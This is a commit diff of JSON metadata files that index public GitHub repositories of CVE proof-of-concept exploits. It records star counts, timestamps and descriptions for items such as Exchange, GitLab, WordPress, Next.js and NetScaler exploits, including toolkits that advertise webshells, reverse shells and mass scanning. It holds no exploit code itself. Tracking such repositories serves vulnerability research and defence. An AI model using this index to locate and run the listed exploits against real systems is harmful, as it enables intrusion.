"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/HaSiyo\/Root-My-Galaxy-Payloads-S938NKSUCDZIF",
"description": "Firmware-specific CVE-2026-43499 and KernelSU-Next payload for Samsung Galaxy S25 Ultra SM-S938N (KOO), S938NKSUCDZIF, Android 17 \/ kernel 6.6.127.",
"fork": false,
"created_at": "2026-09-30T17:44:11Z",
"updated_at": "2026-09-30T19:38:46Z",
"pushed_at": "2026-09-30T19:38:42Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-62911.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "POC pre-auth RCE on Exchange",
"fork": false,
"created_at": "2026-08-22T04:49:33Z",
"updated_at": "2026-09-29T04:12:12Z",
"updated_at": "2026-09-30T15:01:17Z",
"pushed_at": "2026-08-22T04:49:54Z",
"stargazers_count": 182,
"watchers_count": 182,
"stargazers_count": 183,
"watchers_count": 183,
"has_discussions": false,
"forks_count": 34,
"allow_forking": true,
@@ -30,7 +30,7 @@
],
"visibility": "public",
"forks": 34,
"watchers": 182,
"watchers": 183,
"score": 0,
"subscribers_count": 1
},
2026/CVE-2026-64560.json
+6 -6
View File
@@ -113,10 +113,10 @@
"description": null,
"fork": false,
"created_at": "2026-09-24T17:36:00Z",
"updated_at": "2026-09-30T01:58:05Z",
"updated_at": "2026-09-30T15:43:54Z",
"pushed_at": "2026-09-27T09:28:31Z",
"stargazers_count": 9,
"watchers_count": 9,
"stargazers_count": 10,
"watchers_count": 10,
"has_discussions": false,
"forks_count": 14,
"allow_forking": true,
@@ -127,7 +127,7 @@
"topics": [],
"visibility": "public",
"forks": 14,
"watchers": 9,
"watchers": 10,
"score": 0,
"subscribers_count": 0
},
@@ -217,7 +217,7 @@
"stargazers_count": 5,
"watchers_count": 5,
"has_discussions": false,
"forks_count": 3,
"forks_count": 4,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -225,7 +225,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 3,
"forks": 4,
"watchers": 5,
"score": 0,
"subscribers_count": 0
2026/CVE-2026-64561.json
+2 -2
View File
@@ -117,8 +117,8 @@
"description": "Guest-to-host KVM\/x86 escape exploiting CVE-2026-64561, delivering a full PoC chain and analysis for security researchers.",
"fork": false,
"created_at": "2026-08-07T15:51:07Z",
"updated_at": "2026-09-30T09:15:00Z",
"pushed_at": "2026-09-30T09:14:55Z",
"updated_at": "2026-09-30T16:23:50Z",
"pushed_at": "2026-09-30T16:23:45Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2026/CVE-2026-76504.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398665749,
"name": "CVE-2026-76504-Proof-of-concept",
"full_name": "ShadowForge-Cyber\/CVE-2026-76504-Proof-of-concept",
"owner": {
"login": "ShadowForge-Cyber",
"id": 329723234,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/329723234?v=4",
"html_url": "https:\/\/github.com\/ShadowForge-Cyber",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/ShadowForge-Cyber\/CVE-2026-76504-Proof-of-concept",
"description": "EUVD-2026-89950 Improper Handling of URL Encoding (Hex Encoding) (CWE-177)",
"fork": false,
"created_at": "2026-09-30T19:40:15Z",
"updated_at": "2026-09-30T19:43:04Z",
"pushed_at": "2026-09-30T19:43:00Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-76570.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398518329,
"name": "CVE-2026-76570",
"full_name": "murrez\/CVE-2026-76570",
"owner": {
"login": "murrez",
"id": 50166320,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/50166320?v=4",
"html_url": "https:\/\/github.com\/murrez",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/murrez\/CVE-2026-76570",
"description": "CVE-2026-76570 PoC (PoCbit) — Joomla JCTables (com_jctables) <1.21.1: unauth SQL read\/write via front-end JSON API getdatarow\/getrow (CVSS 4.0 10.0 AT:N). check + exploit + mass. https:\/\/www.cve.org\/CVERecord?id=CVE-2026-76570",
"fork": false,
"created_at": "2026-09-30T17:20:47Z",
"updated_at": "2026-09-30T17:23:10Z",
"pushed_at": "2026-09-30T17:22:03Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-77770.json
-38
View File
@@ -1,38 +0,0 @@
[
{
"id": 1367979499,
"name": "CVE-2026-77770",
"full_name": "cflowsec\/CVE-2026-77770",
"owner": {
"login": "cflowsec",
"id": 327569617,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/327569617?v=4",
"html_url": "https:\/\/github.com\/cflowsec",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/cflowsec\/CVE-2026-77770",
"description": "miniOrange 2FA CVE POC",
"fork": false,
"created_at": "2026-09-13T03:50:21Z",
"updated_at": "2026-09-15T17:30:51Z",
"pushed_at": "2026-09-13T03:51:38Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 1,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve",
"exploit"
],
"visibility": "public",
"forks": 1,
"watchers": 1,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-84383.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "Docker lab for validating CVE-2026-84383 in libheif through Discourse",
"fork": false,
"created_at": "2026-09-29T17:40:08Z",
"updated_at": "2026-09-30T08:41:33Z",
"updated_at": "2026-09-30T16:50:42Z",
"pushed_at": "2026-09-29T17:54:51Z",
"stargazers_count": 5,
"watchers_count": 5,
"stargazers_count": 7,
"watchers_count": 7,
"has_discussions": false,
"forks_count": 3,
"allow_forking": true,
@@ -35,7 +35,7 @@
],
"visibility": "public",
"forks": 3,
"watchers": 5,
"watchers": 7,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-84543.json
+1 -1
View File
@@ -14,7 +14,7 @@
"description": "Technical disclosure and PoC for CVE-2026-84543, a macOS SMB kernel vulnerability",
"fork": false,
"created_at": "2026-09-24T00:22:30Z",
"updated_at": "2026-09-27T06:06:03Z",
"updated_at": "2026-09-30T15:44:36Z",
"pushed_at": "2026-09-24T02:56:43Z",
"stargazers_count": 37,
"watchers_count": 37,
2026/CVE-2026-85706.json
+16 -7
View File
@@ -47,10 +47,10 @@
"description": "Exploit poc for CVE-2026-85706 an unauthenticated arbitrary file read on Gitlab CE-EE affecting versions: 18.7–19.1.7; 19.2.0–19.2.5; 19.3.0–19.3.1",
"fork": false,
"created_at": "2026-09-11T15:24:22Z",
"updated_at": "2026-09-29T22:47:43Z",
"updated_at": "2026-09-30T13:50:57Z",
"pushed_at": "2026-09-11T16:38:17Z",
"stargazers_count": 43,
"watchers_count": 43,
"stargazers_count": 44,
"watchers_count": 44,
"has_discussions": false,
"forks_count": 4,
"allow_forking": true,
@@ -61,7 +61,7 @@
"topics": [],
"visibility": "public",
"forks": 4,
"watchers": 43,
"watchers": 44,
"score": 0,
"subscribers_count": 0
},
@@ -263,10 +263,10 @@
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/gagaltotal\/CVE-2026-85706-gitlab-poc",
"description": "CVE-2026-85706",
"description": "POC GitLab CE\/EE unauthenticated arbitrary file read vulnerability (CVE-2026-85706).",
"fork": false,
"created_at": "2026-09-13T14:28:53Z",
"updated_at": "2026-09-13T14:33:33Z",
"updated_at": "2026-09-30T14:41:41Z",
"pushed_at": "2026-09-13T14:33:29Z",
"stargazers_count": 0,
"watchers_count": 0,
@@ -277,7 +277,16 @@
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"topics": [
"cve",
"cve-2026-85706",
"cve-search",
"cves",
"gitlab",
"go",
"golang",
"golang-cli"
],
"visibility": "public",
"forks": 0,
"watchers": 0,
2026/CVE-2026-86060.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": "cve-2026-86060 PoC",
"fork": false,
"created_at": "2026-09-22T13:23:54Z",
"updated_at": "2026-09-30T12:25:47Z",
"updated_at": "2026-09-30T16:37:55Z",
"pushed_at": "2026-09-23T12:50:46Z",
"stargazers_count": 50,
"watchers_count": 50,
"stargazers_count": 52,
"watchers_count": 52,
"has_discussions": false,
"forks_count": 8,
"allow_forking": true,
@@ -61,7 +61,7 @@
"topics": [],
"visibility": "public",
"forks": 8,
"watchers": 50,
"watchers": 52,
"score": 0,
"subscribers_count": 0
},
2026/CVE-2026-87902.json
+5 -5
View File
@@ -196,7 +196,7 @@
"description": "Reproduction lab + URL-list scanner + PoC for CVE-2026-87902 \/ GHSA-7hp8-65ch-5whp — WordPress get_page_template() unauthenticated LFI to conditional RCE (WP 4.7.0-7.1.1, fixed 7.1.2). Authorized\/defensive testing.",
"fork": false,
"created_at": "2026-09-23T05:20:08Z",
"updated_at": "2026-09-27T09:12:21Z",
"updated_at": "2026-09-30T15:45:04Z",
"pushed_at": "2026-09-23T05:20:12Z",
"stargazers_count": 11,
"watchers_count": 11,
@@ -361,10 +361,10 @@
"description": "CVE-2026-87902 – WordPress Core LFI→RCE Toolkit (CVSS 9.2) - Red\/Blue Team suite for WordPress 4.7–7.1.1. | 2 tools: Full Exploit (LFI, PEAR RCE, admin create, webshell, reverse shell, loot, mass scan, stealth) & SafeChecker (version detect, risk audit, JSON report). Use Ethically & Authorized Enviorement, Stay Legal <3",
"fork": false,
"created_at": "2026-09-23T19:21:48Z",
"updated_at": "2026-09-28T19:09:23Z",
"updated_at": "2026-09-30T19:07:14Z",
"pushed_at": "2026-09-27T20:00:52Z",
"stargazers_count": 9,
"watchers_count": 9,
"stargazers_count": 10,
"watchers_count": 10,
"has_discussions": false,
"forks_count": 4,
"allow_forking": true,
@@ -396,7 +396,7 @@
],
"visibility": "public",
"forks": 4,
"watchers": 9,
"watchers": 10,
"score": 0,
"subscribers_count": 0
},
2026/CVE-2026-88771.json
+2 -2
View File
@@ -146,8 +146,8 @@
"description": "Am I fixed? Was I hacked? Read-only checker for Citrix NetScaler CTX697096 (CVE-2026-88771 – CVE-2026-88778): build, all 8 CVE preconditions, Enhanced ISN, upgrade risks, plus --ioc sweep with every public IoC (webshells, config theft, dropped files, log injection, 17 attacker IPs), each attack tagged before\/after your fix.",
"fork": false,
"created_at": "2026-09-28T11:20:30Z",
"updated_at": "2026-09-30T10:45:06Z",
"pushed_at": "2026-09-30T10:24:12Z",
"updated_at": "2026-09-30T17:23:35Z",
"pushed_at": "2026-09-30T17:24:12Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2026/CVE-2026-88772.json
+1 -1
View File
@@ -47,7 +47,7 @@
"description": "CVE-2026-88772 PoC: Citrix NetScaler ADC\/Gateway DTLS memory overflow (RCE\/DoS, CVSS 9.5). Fingerprints Gateway, build vs 14.1-73.37 \/ 13.1-64.23, UDP\/443 DTLS probe. CTX697096; active exploitation reported. https:\/\/pocbit.org\/pocs\/cve-2026-88772",
"fork": false,
"created_at": "2026-09-27T20:24:56Z",
"updated_at": "2026-09-29T07:22:51Z",
"updated_at": "2026-09-30T15:44:37Z",
"pushed_at": "2026-09-27T20:26:07Z",
"stargazers_count": 13,
"watchers_count": 13,
2026/CVE-2026-89026.json
-37
View File
@@ -1,41 +1,4 @@
[
{
"id": 1373423103,
"name": "CVE-2026-89026",
"full_name": "cflowsec\/CVE-2026-89026",
"owner": {
"login": "cflowsec",
"id": 327569617,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/327569617?v=4",
"html_url": "https:\/\/github.com\/cflowsec",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/cflowsec\/CVE-2026-89026",
"description": "Issabel pbxapi hard coded JWT RCE POC",
"fork": false,
"created_at": "2026-09-16T17:34:33Z",
"updated_at": "2026-09-18T15:57:53Z",
"pushed_at": "2026-09-16T17:36:01Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 1,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve",
"exploit",
"rce"
],
"visibility": "public",
"forks": 1,
"watchers": 1,
"score": 0,
"subscribers_count": 0
},
{
"id": 1379556263,
"name": "CVE-2026-89026",
2026/CVE-2026-92701.json
+1 -1
View File
@@ -15,7 +15,7 @@
"fork": false,
"created_at": "2026-07-06T22:13:03Z",
"updated_at": "2026-09-30T12:19:41Z",
"pushed_at": "2026-09-30T12:34:28Z",
"pushed_at": "2026-09-30T16:23:10Z",
"stargazers_count": 3,
"watchers_count": 3,
"has_discussions": false,
2026/CVE-2026-93485.json
+4 -4
View File
@@ -80,10 +80,10 @@
"description": "Comment2Shell is a zero click pre auth RCE exploit for WordPress CVE-2026-93485. An anonymous comment plants stored XSS that fires when an admin views the post and drops a self deleting webshell. Full chain PoC with scanner interactive shell Nuclei template and Docker ",
"fork": false,
"created_at": "2026-09-25T00:13:54Z",
"updated_at": "2026-09-30T08:28:25Z",
"updated_at": "2026-09-30T16:12:38Z",
"pushed_at": "2026-09-29T23:45:08Z",
"stargazers_count": 58,
"watchers_count": 58,
"stargazers_count": 60,
"watchers_count": 60,
"has_discussions": false,
"forks_count": 14,
"allow_forking": true,
@@ -113,7 +113,7 @@
],
"visibility": "public",
"forks": 14,
"watchers": 58,
"watchers": 60,
"score": 0,
"subscribers_count": 0
},
2026/CVE-2026-94504.json
-39
View File
@@ -1,39 +0,0 @@
[
{
"id": 1384400337,
"name": "cve-2026-94504",
"full_name": "cflowsec\/cve-2026-94504",
"owner": {
"login": "cflowsec",
"id": 327569617,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/327569617?v=4",
"html_url": "https:\/\/github.com\/cflowsec",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/cflowsec\/cve-2026-94504",
"description": "Ninja Forms unauth stored XSS POC",
"fork": false,
"created_at": "2026-09-24T01:07:12Z",
"updated_at": "2026-09-24T01:37:37Z",
"pushed_at": "2026-09-24T01:09:23Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve",
"exploit",
"xss"
],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-94545.json
+37 -4
View File
@@ -80,10 +80,10 @@
"description": "Next.js RCE",
"fork": false,
"created_at": "2026-09-29T07:57:18Z",
"updated_at": "2026-09-30T13:29:01Z",
"updated_at": "2026-09-30T19:27:49Z",
"pushed_at": "2026-09-29T08:12:51Z",
"stargazers_count": 33,
"watchers_count": 33,
"stargazers_count": 36,
"watchers_count": 36,
"has_discussions": false,
"forks_count": 5,
"allow_forking": true,
@@ -94,7 +94,7 @@
"topics": [],
"visibility": "public",
"forks": 5,
"watchers": 33,
"watchers": 36,
"score": 0,
"subscribers_count": 1
},
@@ -130,5 +130,38 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1398355669,
"name": "CVE-2026-94545-",
"full_name": "MRdark-ops\/CVE-2026-94545-",
"owner": {
"login": "MRdark-ops",
"id": 145036159,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/145036159?v=4",
"html_url": "https:\/\/github.com\/MRdark-ops",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/MRdark-ops\/CVE-2026-94545-",
"description": "Next.js next\/og unauthenticated RCE (CVE-2026-94545) - PoC",
"fork": false,
"created_at": "2026-09-30T15:12:57Z",
"updated_at": "2026-09-30T15:25:26Z",
"pushed_at": "2026-09-30T15:18:03Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 1,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-96889.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "This repository documents the VectorFreed RCE chain and includes a PoC for CVE-2026-96889.",
"fork": false,
"created_at": "2026-09-21T18:54:00Z",
"updated_at": "2026-09-30T13:45:26Z",
"updated_at": "2026-09-30T18:56:59Z",
"pushed_at": "2026-09-29T21:03:23Z",
"stargazers_count": 15,
"watchers_count": 15,
"stargazers_count": 16,
"watchers_count": 16,
"has_discussions": false,
"forks_count": 1,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 1,
"watchers": 15,
"watchers": 16,
"score": 0,
"subscribers_count": 1
}
2026/CVE-2026-97347.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": null,
"fork": false,
"created_at": "2026-09-30T10:24:29Z",
"updated_at": "2026-09-30T10:31:32Z",
"pushed_at": "2026-09-30T10:24:34Z",
"updated_at": "2026-09-30T15:53:33Z",
"pushed_at": "2026-09-30T15:53:29Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,